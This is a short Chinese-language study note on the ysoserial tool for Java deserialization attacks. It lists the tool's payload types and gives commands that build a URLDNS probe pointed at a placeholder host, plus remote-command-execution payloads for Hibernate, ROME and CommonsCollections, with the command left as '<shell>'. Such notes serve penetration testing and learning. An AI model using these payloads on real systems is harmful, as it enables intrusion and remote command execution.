【笔记】Ysoserial学习笔记

前言

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.(Github

下载项目

1
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

查看所有可选项

  • 根据当前渗透测试的环境选择payload
1
java -jar ysoserial-all.jar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4

生成向DNS服务器发送请求的序列化文件

http://examlpe.com:自定义DNS服务器地址

1
java -jar ysoserial-all.jar URLDNS "http://examlpe.com" > x.class

生成远程命令执行的序列化文件

包含Hibernate包的项目

-Dhibernate5:指定生成hibernate5的序列化
Hibernate1:指定Payload类型(指定查看所有可选项中列出的可选项)
-cp hibernate-core-5.4.9.Final.jar:ysoserial-0.0.6-all.jar:将当前目录的hibernate-core-5.4.9.Final.jar包拷贝到ysoserial-0.0.6-all.jar包中
<shell>:远程命令执行的命令

1
java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar:ysoserial-0.0.6-all.jar ysoserial.GeneratePayload Hibernate1 "<shell>" > x.class

包含ROME包的项目

<shell>:远程命令执行的命令

1
java -jar ysoserial-all.jar ROME "<shell>" > x.class

包含CommonCollections包的项目

<shell>:远程命令执行的命令

1
java -jar ysoserial-all.jar CommonsCollections5 "<shell>" > x.class

完成

参考文献

哔哩哔哩——xiaodisec